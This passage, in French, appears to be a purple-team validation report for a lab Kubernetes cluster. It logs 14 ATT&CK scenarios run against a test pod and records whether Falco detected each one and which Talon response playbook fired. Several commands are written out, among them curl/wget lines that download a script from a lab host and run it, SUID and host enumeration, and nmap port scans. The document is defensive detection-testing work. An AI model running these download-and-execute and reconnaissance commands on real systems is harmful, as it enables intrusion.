scenario=S13 commande=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh) | ROUTE-S13-aws-20261109-0608 |
| 14 | T1059.004 | Préparation et exécution d’un script shell | printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh | EXECUTED | 2026-11-09T06:12:46.682Z | 2026-11-09T06:12:53.111Z | YES | Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1057 Process Discovery; Drop and execute new binary in container | 8 | PR10 Route S14 PB3 | YES | YES | PB3 | PB3 Routing Validation Playbook S14 | YES | Isolement du pod | SKIPPED | YES | 4806d7a192c08d1e4bd967a04436aa5d | 2026-11-09T06:12:46.806584234+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S14; printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:12:46.806584234+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S14; printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh parent=<NA> container=cible1) || 2026-11-09T06:12:46.806584234+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S14; printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh process=sh parent=<NA> container=cible1 pod=cible1 namespace=default) | 2026-11-09T06:12:46.806584234+0000: Warning PR10 ROUTE S14 PB3 (pod=cible1 namespace=default scenario=S14 commande=sh -c PR10_SCENARIO=S14; printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh) | ROUTE-S14-aws-20261109-0608 |
Source : artefacts/bruts/response-pipeline.tsv · 3 ligne(s)
Chaîne complète par playbook : détection Falco, transmission Falcosidekick, réception et action Talon, vérification du résultat.
| playbook | PB1 |
|---|---|
| mitre_id | T1057 |
| attack | ps aux |
| attack_rc | 0 |
| falco_rule | PR10 Response Trigger PB1 Process Discovery |
| falco_detected | YES |
| sidekick_forwarded | YES |
| talon_received | YES |
| talon_playbook | PB1 Evidence Collection Playbook |
| talon_matched | YES |
| playbook_started | YES |
| primary_action | PB1 Collect Runtime Evidence |
| primary_action_success | YES |
| notify_admin | N/A |
| response_verified | YES |
| final_status | PASS |
| namespace | default |
| pod | cible1 |
| proof_path | response/pb1/ |
| detail | Falco=YES Sidekick=YES TalonReceived=YES TalonMatch=YES Started=YES Action=YES Evidence=YES Severity=LOW TalonK8sEvent=YES SidekickHTTP200=6 |
| start_ts | 2026-11-09T06:13:24Z |
| end_ts | 2026-11-09T06:13:27Z |
| playbook | PB2 |
|---|---|
| mitre_id | T1105 |
| attack | /tmp/manual-curl-tool.sh préparé en mode 0755; déclencheur PR10_PB2_RESPONSE=1 |
| attack_rc | 0 |
| falco_rule | PR10 Response Trigger PB2 Tool Transfer |
| falco_detected | YES |
| sidekick_forwarded | YES |
| talon_received | YES |
| talon_playbook | PB2 File Quarantine Playbook |
| talon_matched | YES |
| playbook_started | YES |
| primary_action | PB2 Quarantine Artifact |
| primary_action_success | YES |
| notify_admin | N/A |
| response_verified | YES |
| final_status | PASS |
| namespace | default |
| pod | cible1 |
| proof_path | response/pb2/ |
| detail | Falco=YES Sidekick=YES TalonReceived=YES TalonMatch=YES Started=YES Action=YES Quarantine=YES ModeBefore=755 ModeAfter=400 HashMatch=YES Severity=HIGH TalonK8sEvent=YES SidekickHTTP200=10 |
| start_ts | 2026-11-09T06:13:32Z |
| end_ts | 2026-11-09T06:13:35Z |
| playbook | PB3 |
|---|---|
| mitre_id | T1059.004 |
| attack | PR10_PB3_RESPONSE=1; /bin/sh /tmp/manual-response-shell.sh |
| attack_rc | 0 |
| falco_rule | PR10 Response Trigger PB3 Shell Execution |
| falco_detected | YES |
| sidekick_forwarded | YES |
| talon_received | YES |
| talon_playbook | PB3 Pod Isolation Playbook |
| talon_matched | YES |
| playbook_started | YES |
| primary_action | PB3 Isolate Pod |
| primary_action_success | YES |
| notify_admin | N/A |
| response_verified | YES |
| final_status | PASS |
| namespace | default |
| pod | cible1 |
| proof_path | response/pb3/ |
| detail | Falco=YES Sidekick=YES TalonReceived=YES TalonMatch=YES Started=YES Action=YES Containment=YES Outbound=BLOCKED Inbound=BLOCKED OldPreserved=YES Replacement=cible1-replacement-99b589dcc-cq7bd ServiceAfter=OPEN Severity=URGENT TalonK8sEvent=NO SidekickHTTP200=10 |
| start_ts | 2026-11-09T06:13:44Z |
| end_ts | 2026-11-09T06:13:59Z |
Source : artefacts/bruts/manual-results.tsv · 14 ligne(s)
Commande exacte, horodatages de début et de fin, playbook attendu, marqueur de routage observé.
| number | mitre_id | scenario_name | command | execution_status | exit_code | start_ts | end_ts | expected_playbook | route_label | route_observed | admin_notified | severity | incident_id |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1 | T1082 | Découverte des répertoires accessibles en écriture et des permissions | find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe | EXECUTED | 0 | 2026-11-09T06:11:11.510Z | 2026-11-09T06:11:17.945Z | PB1 | falco-route-s01 | YES | SKIPPED | LOW | ROUTE-S01-aws-20261109-0608 |
| 2 | T1082 | Énumération des privilèges et de l’hôte | uname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fi | EXECUTED | 0 | 2026-11-09T06:11:18.060Z | 2026-11-09T06:11:24.779Z | PB1 | falco-route-s02 | YES | SKIPPED | LOW | ROUTE-S02-aws-20261109-0608 |
| 3 | T1057 | Découverte des processus utilisateur et des lignes de commande | ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30 | EXECUTED | 0 | 2026-11-09T06:11:24.878Z | 2026-11-09T06:11:31.516Z | PB1 | falco-route-s03 | YES | SKIPPED | LOW | ROUTE-S03-aws-20261109-0608 |
| 4 | T1057 | Découverte détaillée des processus système | ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40 | EXECUTED | 0 | 2026-11-09T06:11:31.609Z | 2026-11-09T06:11:38.169Z | PB1 | falco-route-s04 | YES | SKIPPED | LOW | ROUTE-S04-aws-20261109-0608 |
| 5 | T1057 | Énumération des processus et de procfs | ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\0' ' ' < "$p" 2>/dev/null | head -c 160; echo; done | head -30 | EXECUTED | 0 | 2026-11-09T06:11:38.264Z | 2026-11-09T06:11:44.702Z | PB1 | falco-route-s05 | YES | SKIPPED | LOW | ROUTE-S05-aws-20261109-0608 |
| 6 | T1057 | Découverte de la virtualisation et des processus de conteneur | ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true | EXECUTED | 0 | 2026-11-09T06:11:44.794Z | 2026-11-09T06:11:51.325Z | PB1 | falco-route-s06 | YES | SKIPPED | LOW | ROUTE-S06-aws-20261109-0608 |
| 7 | T1083 | Énumération récursive des répertoires et des fichiers | ls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40 | EXECUTED | 0 | 2026-11-09T06:11:51.426Z | 2026-11-09T06:11:57.812Z | PB1 | falco-route-s07 | YES | SKIPPED | LOW | ROUTE-S07-aws-20261109-0608 |
| 8 | T1083 | Recherche de fichiers nommés et inspection des métadonnées | mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery | EXECUTED | 0 | 2026-11-09T06:11:57.905Z | 2026-11-09T06:12:04.328Z | PB1 | falco-route-s08 | YES | SKIPPED | LOW | ROUTE-S08-aws-20261109-0608 |
| 9 | T1083 | Parcours et inspection du répertoire de travail | pwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/null | EXECUTED | 0 | 2026-11-09T06:12:04.414Z | 2026-11-09T06:12:10.802Z | PB1 | falco-route-s09 | YES | SKIPPED | LOW | ROUTE-S09-aws-20261109-0608 |
| 10 | T1046 | Identification des services réseau | nmap -Pn -sV --version-light -p 80,443,8080 cible2 | EXECUTED | 0 | 2026-11-09T06:12:10.895Z | 2026-11-09T06:12:24.834Z | PB1 | falco-route-s10 | YES | SKIPPED | LOW | ROUTE-S10-aws-20261109-0608 |
| 11 | T1046 | Découverte de services TCP sur plusieurs ports | python3 -c "import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]" | EXECUTED | 0 | 2026-11-09T06:12:24.966Z | 2026-11-09T06:12:33.458Z | PB1 | falco-route-s11 | YES | SKIPPED | LOW | ROUTE-S11-aws-20261109-0608 |
| 12 | T1105 | Transfert, inspection et exécution d’un outil avec curl | curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh | EXECUTED | 0 | 2026-11-09T06:12:33.551Z | 2026-11-09T06:12:39.981Z | PB2 | falco-route-s12 | YES | SKIPPED | HIGH | ROUTE-S12-aws-20261109-0608 |
| 13 | T1105 | Transfert, préparation et exécution d’un outil avec wget | wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh | EXECUTED | 0 | 2026-11-09T06:12:40.099Z | 2026-11-09T06:12:46.594Z | PB2 | falco-route-s13 | YES | SKIPPED | HIGH | ROUTE-S13-aws-20261109-0608 |
| 14 | T1059.004 | Préparation et exécution d’un script shell | printf '%s\n' '#!/bin/sh' 'id' 'uname -a' 'ps aux | head -10' 'ls -la /tmp | head -20' > /tmp/manual-shell.sh; chmod +x /tmp/manual-shell.sh; /bin/sh /tmp/manual-shell.sh; rm -f /tmp/manual-shell.sh | EXECUTED | 0 | 2026-11-09T06:12:46.682Z | 2026-11-09T06:12:53.111Z | PB3 | falco-route-s14 | YES | SKIPPED | URGENT | ROUTE-S14-aws-20261109-0608 |
Source : artefacts/analyse/caldera-project-coverage.tsv · 6 ligne(s)
Corrélation entre le catalogue CALDERA, les scénarios contrôlés et les règles Falco.
| mitre_id | technique_name | caldera_linux_abilities | caldera_ability_names | manual_scenarios | falco_detection_rules | coverage_status |
|---|---|---|---|---|---|---|
| T1046 | Network Service Scanning | 2 | Fingerprint network services; Scan IP for ports | S10, S11 | Custom T1046 Network Service Discovery | COVERED |
| T1057 | Process Discovery | 4 | Find user processes; System processes; View Processes; enumerate VMs | S03, S04, S05, S06 | Custom T1057 Process Discovery | COVERED |
| T1059.004 | Command and Scripting Interpreter: Unix Shell | 1 | Start 54ndc47 | S14 | Custom T1059.004 Non Interactive Shell | COVERED |
| T1082 | System Information Discovery | 2 | Find deletable dirs (per user); Linux Enumeration & Privilege Escalation Discovery Script | S01, S02 | Custom Suspicious Filesystem Enumeration; Custom T1082 Enumeration Script | COVERED |
| T1083 | File and Directory Discovery | 3 | List Directory; Locate file from printer queue; Print Working Directory | S07, S08, S09 | Custom Suspicious Filesystem Enumeration | COVERED |
| T1105 | Ingress Tool Transfer | 2 | Manx; Sandcat | S12, S13 | Custom T1105 Suspicious Tool Transfer | COVERED |
Source : artefacts/analyse/caldera-review-gaps.tsv · 11 ligne(s)
Techniques présentes dans CALDERA (tactiques configurées) sans scénario ni règle Falco dans le projet.
| mitre_id | technique_name | tactic | caldera_linux_abilities | sample_abilities | manual_scenarios | falco_detection_rules | review_status |
|---|---|---|---|---|---|---|---|
| T1016 | System Network Configuration Discovery | discovery | 3 | Network Interface Configuration; Preferred WIFI; Scan WIFI networks | - | - | REVIEW_REQUIRED |
| T1018 | Remote System Discovery | discovery | 3 | Collect ARP details; Discover Mail Server; Parse SSH known_hosts | - | - | REVIEW_REQUIRED |
| T1033 | System Owner/User Discovery | discovery | 2 | Current User; Identify active user | - | - | REVIEW_REQUIRED |
| T1049 | System Network Connections Discovery | discovery | 1 | Find System Network Connections | - | - | REVIEW_REQUIRED |
| T1069.001 | Permission Groups Discovery: Local Groups | discovery | 1 | Permission Groups Discovery | - | - | REVIEW_REQUIRED |
| T1071.001 | Application Layer Protocol: Web Protocols | command-and-control | 1 | Ragdoll | - | - | REVIEW_REQUIRED |
| T1087.001 | Account Discovery: Local Account | discovery | 1 | Find local users | - | - | REVIEW_REQUIRED |
| T1120 | Peripheral Device Discovery | discovery | 1 | View printer queue | - | - | REVIEW_REQUIRED |
| T1124 | System Time Discovery | discovery | 1 | Get System Time | - | - | REVIEW_REQUIRED |
| T1201 | Password Policy Discovery | discovery | 1 | Password Policy | - | - | REVIEW_REQUIRED |
| T1518 | Software Discovery | discovery | 3 | Check Chrome; Check Go; Check Python | - | - | REVIEW_REQUIRED |
Source : artefacts/bruts/politique-reponse.tsv · 14 ligne(s)
Table de correspondance versionnée dans le dépôt, utilisée par la validation et le routage.
| number | mitre_id | playbook | route_rule | route_playbook | route_action | primary_action | route_token |
|---|---|---|---|---|---|---|---|
| 1 | T1082 | PB1 | PR10 Route S01 PB1 | PB1 Routing Validation Playbook S01 | S01 PB1 Routing Marker | Collecte de preuves | PR10_SCENARIO=S01 |
| 2 | T1082 | PB1 | PR10 Route S02 PB1 | PB1 Routing Validation Playbook S02 | S02 PB1 Routing Marker | Collecte de preuves | PR10_SCENARIO=S02 |
| 3 | T1057 | PB1 | PR10 Route S03 PB1 | PB1 Routing Validation Playbook S03 | S03 PB1 Routing Marker | Collecte de preuves | PR10_SCENARIO=S03 |
| 4 | T1057 | PB1 | PR10 Route S04 PB1 | PB1 Routing Validation Playbook S04 | S04 PB1 Routing Marker | Collecte de preuves | PR10_SCENARIO=S04 |
| 5 | T1057 | PB1 | PR10 Route S05 PB1 | PB1 Routing Validation Playbook S05 | S05 PB1 Routing Marker | Collecte de preuves | PR10_SCENARIO=S05 |
| 6 | T1057 | PB1 | PR10 Route S06 PB1 | PB1 Routing Validation Playbook S06 | S06 PB1 Routing Marker | Collecte de preuves | PR10_SCENARIO=S06 |
| 7 | T1083 | PB1 | PR10 Route S07 PB1 | PB1 Routing Validation Playbook S07 | S07 PB1 Routing Marker | Collecte de preuves | PR10_SCENARIO=S07 |
| 8 | T1083 | PB1 | PR10 Route S08 PB1 | PB1 Routing Validation Playbook S08 | S08 PB1 Routing Marker | Collecte de preuves | PR10_SCENARIO=S08 |
| 9 | T1083 | PB1 | PR10 Route S09 PB1 | PB1 Routing Validation Playbook S09 | S09 PB1 Routing Marker | Collecte de preuves | PR10_SCENARIO=S09 |
| 10 | T1046 | PB1 | PR10 Route S10 PB1 | PB1 Routing Validation Playbook S10 | S10 PB1 Routing Marker | Collecte de preuves | PR10_SCENARIO=S10 |
| 11 | T1046 | PB1 | PR10 Route S11 PB1 | PB1 Routing Validation Playbook S11 | S11 PB1 Routing Marker | Collecte de preuves | PR10_SCENARIO=S11 |
| 12 | T1105 | PB2 | PR10 Route S12 PB2 | PB2 Routing Validation Playbook S12 | S12 PB2 Routing Marker | Mise en quarantaine du fichier | PR10_SCENARIO=S12 |
| 13 | T1105 | PB2 | PR10 Route S13 PB2 | PB2 Routing Validation Playbook S13 | S13 PB2 Routing Marker | Mise en quarantaine du fichier | PR10_SCENARIO=S13 |
| 14 | T1059.004 | PB3 | PR10 Route S14 PB3 | PB3 Routing Validation Playbook S14 | S14 PB3 Routing Marker | Isolement du pod | PR10_SCENARIO=S14 |